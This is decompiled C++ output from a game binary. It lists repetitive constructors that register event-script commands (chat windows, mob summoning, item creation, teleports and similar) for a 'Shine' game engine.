//----- (004AE160) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineChatWindow::ShineChatWindow(PineEventScriptNode::ShineChatWindow *this) { PineEventScriptNode::ShineChatWindow *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "chatwin", 0, 2, 9); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineChatWindow::_vftable_; } // 5BEFD8: using guessed type int (__stdcall *PineEventScriptNode__ShineChatWindow___vftable_)(int tr); //----- (004AE180) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineChatWindowRange::ShineChatWindowRange(PineEventScriptNode::ShineChatWindowRange *this) { PineEventScriptNode::ShineChatWindowRange *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "chatwinrange", 0, 4, 9); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineChatWindowRange::_vftable_; } // 5BEFF4: using guessed type int (__stdcall *PineEventScriptNode__ShineChatWindowRange___vftable_)(int tr); //----- (004AE1A0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineSomeoneShout::ShineSomeoneShout(PineEventScriptNode::ShineSomeoneShout *this) { PineEventScriptNode::ShineSomeoneShout *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "someoneshout", 0, 2, 2); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineSomeoneShout::_vftable_; } // 5BF018: using guessed type int (__stdcall *PineEventScriptNode__ShineSomeoneShout___vftable_)(int tr); //----- (004AE1C0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineSummonMob::ShineSummonMob(PineEventScriptNode::ShineSummonMob *this) { PineEventScriptNode::ShineSummonMob *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "summonmob", 1u, 2, 2); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineSummonMob::_vftable_; } // 5BF03C: using guessed type int (__stdcall *PineEventScriptNode__ShineSummonMob___vftable_)(int tr); //----- (004AE1E0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineQuestResult::ShineQuestResult(PineEventScriptNode::ShineQuestResult *this) { PineEventScriptNode::ShineQuestResult *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "questresult", 1u, 0, 0); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineQuestResult::_vftable_; } // 5BF05C: using guessed type int (__stdcall *PineEventScriptNode__ShineQuestResult___vftable_)(int tr); //----- (004AE200) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineReward::ShineReward(PineEventScriptNode::ShineReward *this) { PineEventScriptNode::ShineReward *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "reward", 1u, 0, 0); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineReward::_vftable_; } // 5BF07C: using guessed type int (__stdcall *PineEventScriptNode__ShineReward___vftable_)(int tr); //----- (004AE220) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineBroadcast::ShineBroadcast(PineEventScriptNode::ShineBroadcast *this) { PineEventScriptNode::ShineBroadcast *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "broadcast", 1u, 1, 2); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineBroadcast::_vftable_; } // 5BF098: using guessed type int (__stdcall *PineEventScriptNode__ShineBroadcast___vftable_)(int tr); //----- (004AE240) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineLinkTo::ShineLinkTo(PineEventScriptNode::ShineLinkTo *this) { PineEventScriptNode::ShineLinkTo *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "linkto", 1u, 4, 4); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineLinkTo::_vftable_; } // 5BF0B8: using guessed type int (__stdcall *PineEventScriptNode__ShineLinkTo___vftable_)(int tr); //----- (004AE260) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineWhoClickMe::ShineWhoClickMe(PineEventScriptNode::ShineWhoClickMe *this) { PineEventScriptNode::ShineWhoClickMe *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "whoclickme", 1u, 1, 1); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineWhoClickMe::_vftable_; } // 5BF0D4: using guessed type int (__stdcall *PineEventScriptNode__ShineWhoClickMe___vftable_)(int tr); //----- (004AE280) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineWhoKillMe::ShineWhoKillMe(PineEventScriptNode::ShineWhoKillMe *this) { PineEventScriptNode::ShineWhoKillMe *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "whokillme", 1u, 1, 1); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineWhoKillMe::_vftable_; } // 5BF0F4: using guessed type int (__stdcall *PineEventScriptNode__ShineWhoKillMe___vftable_)(int tr); //----- (004AE2A0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineItemDrop::ShineItemDrop(PineEventScriptNode::ShineItemDrop *this) { PineEventScriptNode::ShineItemDrop *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "itemdrop", 1u, 2, 2); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineItemDrop::_vftable_; } // 5BF114: using guessed type int (__stdcall *PineEventScriptNode__ShineItemDrop___vftable_)(int tr); //----- (004AE2C0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineInvenSearch::ShineInvenSearch(PineEventScriptNode::ShineInvenSearch *this) { PineEventScriptNode::ShineInvenSearch *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "invensearch", 1u, 2, 2); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineInvenSearch::_vftable_; } // 5BF134: using guessed type int (__stdcall *PineEventScriptNode__ShineInvenSearch___vftable_)(int tr); //----- (004AE2E0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineItemCreate::ShineItemCreate(PineEventScriptNode::ShineItemCreate *this) { PineEventScriptNode::ShineItemCreate *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "itemcreate", 1u, 1, 1); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineItemCreate::_vftable_; } // 5BF154: using guessed type int (__stdcall *PineEventScriptNode__ShineItemCreate___vftable_)(int tr); //----- (004AE300) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineItemErase::ShineItemErase(PineEventScriptNode::ShineItemErase *this) { PineEventScriptNode::ShineItemErase *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "itemerase", 1u, 1, 2); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineItemErase::_vftable_; } // 5BF174: using guessed type int (__stdcall *PineEventScriptNode__ShineItemErase___vftable_)(int tr); //----- (004AE320) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineFindHandle::ShineFindHandle(PineEventScriptNode::ShineFindHandle *this) { PineEventScriptNode::ShineFindHandle *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "findhandle", 1u, 2, 2); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineFindHandle::_vftable_; } // 5BF194: using guessed type int (__stdcall *PineEventScriptNode__ShineFindHandle___vftable_)(int tr); //----- (004AE340) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineAbstatSet::ShineAbstatSet(PineEventScriptNode::ShineAbstatSet *this) { PineEventScriptNode::ShineAbstatSet *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "abstateset", 1u, 3, 4); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineAbstatSet::_vftable_; } // 5BF1B4: using guessed type int (__stdcall *PineEventScriptNode__ShineAbstatSet___vftable_)(int tr); //----- (004AE360) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineAbstatReset::ShineAbstatReset(PineEventScriptNode::ShineAbstatReset *this) { PineEventScriptNode::ShineAbstatReset *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "abstatereset", 1u, 1, 1); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineAbstatReset::_vftable_; } // 5BF1D4: using guessed type int (__stdcall *PineEventScriptNode__ShineAbstatReset___vftable_)(int tr); //----- (004AE380) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineSuicide::ShineSuicide(PineEventScriptNode::ShineSuicide *this) { PineEventScriptNode::ShineSuicide *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "suicide", 1u, 0, 0); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineSuicide::_vftable_; } // 5BF1F8: using guessed type int (__stdcall *PineEventScriptNode__ShineSuicide___vftable_)(int tr); //----- (004AE3A0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineRun::ShineRun(PineEventScriptNode::ShineRun *this) { PineEventScriptNode::ShineRun *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "run", 1u, 2, 2); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineRun::_vftable_; } // 5BF214: using guessed type int (__stdcall *PineEventScriptNode__ShineRun___vftable_)(int tr); //----- (004AE3C0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineWalk::ShineWalk(PineEventScriptNode::ShineWalk *this) { PineEventScriptNode::ShineWalk *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "walk", 1u, 2, 2); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineWalk::_vftable_; } // 5BF22C: using guessed type int (__stdcall *PineEventScriptNode__ShineWalk___vftable_)(int tr); //----- (004AE3E0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineMapLight::ShineMapLight(PineEventScriptNode::ShineMapLight *this) { PineEventScriptNode::ShineMapLight *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "maplight", 0, 3, 3); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineMapLight::_vftable_; } // 5BF248: using guessed type int (__stdcall *PineEventScriptNode__ShineMapLight___vftable_)(int tr); //----- (004AE400) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineMapFog::ShineMapFog(PineEventScriptNode::ShineMapFog *this) { PineEventScriptNode::ShineMapFog *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "mapfog", 0, 2, 2); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineMapFog::_vftable_; } // 5BF268: using guessed type int (__stdcall *PineEventScriptNode__ShineMapFog___vftable_)(int tr); //----- (004AE420) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineEffectObject::ShineEffectObject(PineEventScriptNode::ShineEffectObject *this) { PineEventScriptNode::ShineEffectObject *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "effectobj", 1u, 4, 4); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineEffectObject::_vftable_; } // 5BF284: using guessed type int (__stdcall *PineEventScriptNode__ShineEffectObject___vftable_)(int tr); //----- (004AE440) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineEffectLocate::ShineEffectLocate(PineEventScriptNode::ShineEffectLocate *this) { PineEventScriptNode::ShineEffectLocate *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "effectloc", 1u, 6, 6); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineEffectLocate::_vftable_; } // 5BF2A4: using guessed type int (__stdcall *PineEventScriptNode__ShineEffectLocate___vftable_)(int tr); //----- (004AE460) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineAggro::ShineAggro(PineEventScriptNode::ShineAggro *this) { PineEventScriptNode::ShineAggro *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "aggro", 1u, 2, 2); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineAggro::_vftable_; } // 5BF2C4: using guessed type int (__stdcall *PineEventScriptNode__ShineAggro___vftable_)(int tr); //----- (004AE480) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineMobWeaponRate::ShineMobWeaponRate(PineEventScriptNode::ShineMobWeaponRate *this) { PineEventScriptNode::ShineMobWeaponRate *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "mobweaponrate", 1u, 1, 8); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineMobWeaponRate::_vftable_; } // 5BF2E0: using guessed type int (__stdcall *PineEventScriptNode__ShineMobWeaponRate___vftable_)(int tr); //----- (004AE4A0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineMobDetectRange::ShineMobDetectRange(PineEventScriptNode::ShineMobDetectRange *this) { PineEventScriptNode::ShineMobDetectRange *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "mobdetectrange", 1u, 1, 1); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineMobDetectRange::_vftable_; } // 5BF304: using guessed type int (__stdcall *PineEventScriptNode__ShineMobDetectRange___vftable_)(int tr); //----- (004AE4C0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineHeal::ShineHeal(PineEventScriptNode::ShineHeal *this) { PineEventScriptNode::ShineHeal *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "heal", 1u, 1, 1); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineHeal::_vftable_; } // 5BF328: using guessed type int (__stdcall *PineEventScriptNode__ShineHeal___vftable_)(int tr); //----- (004AE4E0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineAnimate::ShineAnimate(PineEventScriptNode::ShineAnimate *this) { PineEventScriptNode::ShineAnimate *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "animate", 1u, 1, 1); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineAnimate::_vftable_; } // 5BF344: using guessed type int (__stdcall *PineEventScriptNode__ShineAnimate___vftable_)(int tr); //----- (004AE500) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineDuplicate::ShineDuplicate(PineEventScriptNode::ShineDuplicate *this) { PineEventScriptNode::ShineDuplicate *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "duplicate", 1u, 1, 1); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineDuplicate::_vftable_; } // 5BF360: using guessed type int (__stdcall *PineEventScriptNode__ShineDuplicate___vftable_)(int tr); //----- (004AE520) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineWaitIdle::ShineWaitIdle(PineEventScriptNode::ShineWaitIdle *this) { PineEventScriptNode::ShineWaitIdle *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "waitidle", 0, 0, 0); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineWaitIdle::_vftable_; } // 5BF380: using guessed type int (__stdcall *PineEventScriptNode__ShineWaitIdle___vftable_)(int tr); //----- (004AE540) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineDeathCountClear::ShineDeathCountClear(PineEventScriptNode::ShineDeathCountClear *this) { PineEventScriptNode::ShineDeathCountClear *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "deathcountclear", 0, 0, 0); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineDeathCountClear::_vftable_; } // 5BF3A0: using guessed type int (__stdcall *PineEventScriptNode__ShineDeathCountClear___vftable_)(int tr); //----- (004AE560) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineItemAttrSet::ShineItemAttrSet(PineEventScriptNode::ShineItemAttrSet *this) { PineEventScriptNode::ShineItemAttrSet *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "itemattrset", 1u, 2, 2); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineItemAttrSet::_vftable_; } // 5BF3C4: using guessed type int (__stdcall *PineEventScriptNode__ShineItemAttrSet___vftable_)(int tr); //----- (004AE580) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineScinarioCode::ShineScinarioCode(PineEventScriptNode::ShineScinarioCode *this) { PineEventScriptNode::ShineScinarioCode *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "scinariocode", 1u, 1, 1); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineScinarioCode::_vftable_; } // 5BF3E4: using guessed type int (__stdcall *PineEventScriptNode__ShineScinarioCode___vftable_)(int tr); //----- (004AE5A0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineBattleStart::ShineBattleStart(PineEventScriptNode::ShineBattleStart *this) { PineEventScriptNode::ShineBattleStart *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "battlestart", 1u, 0, 2); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineBattleStart::_vftable_; } // 5BF408: using guessed type int (__stdcall *PineEventScriptNode__ShineBattleStart___vftable_)(int tr); //----- (004AE5C0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineBattleStop::ShineBattleStop(PineEventScriptNode::ShineBattleStop *this) { PineEventScriptNode::ShineBattleStop *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "battlestop", 1u, 0, 0); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineBattleStop::_vftable_; } // 5BF428: using guessed type int (__stdcall *PineEventScriptNode__ShineBattleStop___vftable_)(int tr); //----- (004AE5E0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineSendKQResult::ShineSendKQResult(PineEventScriptNode::ShineSendKQResult *this) { PineEventScriptNode::ShineSendKQResult *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "sendquestresult", 1u, 1, 1); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineSendKQResult::_vftable_; } // 5BF448: using guessed type int (__stdcall *PineEventScriptNode__ShineSendKQResult___vftable_)(int tr); //----- (004AE600) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineInvidualReward::ShineInvidualReward(PineEventScriptNode::ShineInvidualReward *this) { PineEventScriptNode::ShineInvidualReward *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "invidualreward", 0, 2, 2); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineInvidualReward::_vftable_; } // 5BF46C: using guessed type int (__stdcall *PineEventScriptNode__ShineInvidualReward___vftable_)(int tr); //----- (004AE620) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineReturnValue::ShineReturnValue(PineEventScriptNode::ShineReturnValue *this) { PineEventScriptNode::ShineReturnValue *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "returnvalue", 0, 2, 2); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineReturnValue::_vftable_; } // 5BF490: using guessed type int (__stdcall *PineEventScriptNode__ShineReturnValue___vftable_)(int tr); //----- (004AE640) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineSubLayerShift::ShineSubLayerShift(PineEventScriptNode::ShineSubLayerShift *this) { PineEventScriptNode::ShineSubLayerShift *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "sublayershift", 1u, 2, 2); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineSubLayerShift::_vftable_; } // 5BF4B0: using guessed type int (__stdcall *PineEventScriptNode__ShineSubLayerShift___vftable_)(int tr); //----- (004AE660) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineTeleport::ShineTeleport(PineEventScriptNode::ShineTeleport *this) { PineEventScriptNode::ShineTeleport *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "teleport", 1u, 1, 3); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineTeleport::_vftable_; } // 5BF4D4: using guessed type int (__stdcall *PineEventScriptNode__ShineTeleport___vftable_)(int tr); //----- (004AE680) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineItemOwner::ShineItemOwner(PineEventScriptNode::ShineItemOwner *this) { PineEventScriptNode::ShineItemOwner *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "itemowner", 1u, 2, 2); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineItemOwner::_vftable_; } // 5BF4F4: using guessed type int (__stdcall *PineEventScriptNode__ShineItemOwner___vftable_)(int tr); //----- (004AE6A0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineMobAttribute::ShineMobAttribute(PineEventScriptNode::ShineMobAttribute *this) { PineEventScriptNode::ShineMobAttribute *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "mobattr", 1u, 2, 2); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineMobAttribute::_vftable_; } // 5BF514: using guessed type int (__stdcall *PineEventScriptNode__ShineMobAttribute___vftable_)(int tr); //----- (004AE6C0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineObjectCollect::ShineObjectCollect(PineEventScriptNode::ShineObjectCollect *this) { PineEventScriptNode::ShineObjectCollect *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "collect", 1u, 4, 4); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineObjectCollect::_vftable_; } // 5BF530: using guessed type int (__stdcall *PineEventScriptNode__ShineObjectCollect___vftable_)(int tr); //----- (004AE6E0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineEndOfKingdomQuest::ShineEndOfKingdomQuest(PineEventScriptNode::ShineEndOfKingdomQuest *this) { PineEventScriptNode::ShineEndOfKingdomQuest *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "endofkq", 0, 0, 0); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineEndOfKingdomQuest::_vftable_; } // 5BF54C: using guessed type int (__stdcall *PineEventScriptNode__ShineEndOfKingdomQuest___vftable_)(int tr); //----- (004AE700) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineEndOfGuildTournament::ShineEndOfGuildTournament(PineEventScriptNode::ShineEndOfGuildTournament *this) { PineEventScriptNode::ShineEndOfGuildTournament *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "endofgt", 0, 2, 2); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineEndOfGuildTournament::_vftable_; } // 5BF568: using guessed type int (__stdcall *PineEventScriptNode__ShineEndOfGuildTournament___vftable_)(int tr); //----- (004AE720) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineGuildTorunamentResult::ShineGuildTorunamentResult(PineEventScriptNode::ShineGuildTorunamentResult *this) { PineEventScriptNode::ShineGuildTorunamentResult *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "gtresult", 1u, 1, 2); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineGuildTorunamentResult::_vftable_; } // 5BF584: using guessed type int (__stdcall *PineEventScriptNode__ShineGuildTorunamentResult___vftable_)(int tr); //----- (004AE740) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineCostumeCreate::ShineCostumeCreate(PineEventScriptNode::ShineCostumeCreate *this) { PineEventScriptNode::ShineCostumeCreate *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "costumecreate", 1u, 3, 3); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineCostumeCreate::_vftable_; } // 5BF5A4: using guessed type int (__stdcall *PineEventScriptNode__ShineCostumeCreate___vftable_)(int tr); //----- (004AE760) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineCostumeTakeOff::ShineCostumeTakeOff(PineEventScriptNode::ShineCostumeTakeOff *this) { PineEventScriptNode::ShineCostumeTakeOff *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "costumetakeoff", 1u, 2, 2); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineCostumeTakeOff::_vftable_; } // 5BF5C8: using guessed type int (__stdcall *PineEventScriptNode__ShineCostumeTakeOff___vftable_)(int tr); //----- (004AE780) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineWeddingComplete::ShineWeddingComplete(PineEventScriptNode::ShineWeddingComplete *this) { PineEventScriptNode::ShineWeddingComplete *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "weddingcomplete", 0, 2, 2); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineWeddingComplete::_vftable_; } // 5BF5EC: using guessed type int (__stdcall *PineEventScriptNode__ShineWeddingComplete___vftable_)(int tr); //----- (004AE7A0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShinePlayerWalk::ShinePlayerWalk(PineEventScriptNode::ShinePlayerWalk *this) { PineEventScriptNode::ShinePlayerWalk *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "playerwork", 1u, 2, 2); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShinePlayerWalk::_vftable_; } // 5BF610: 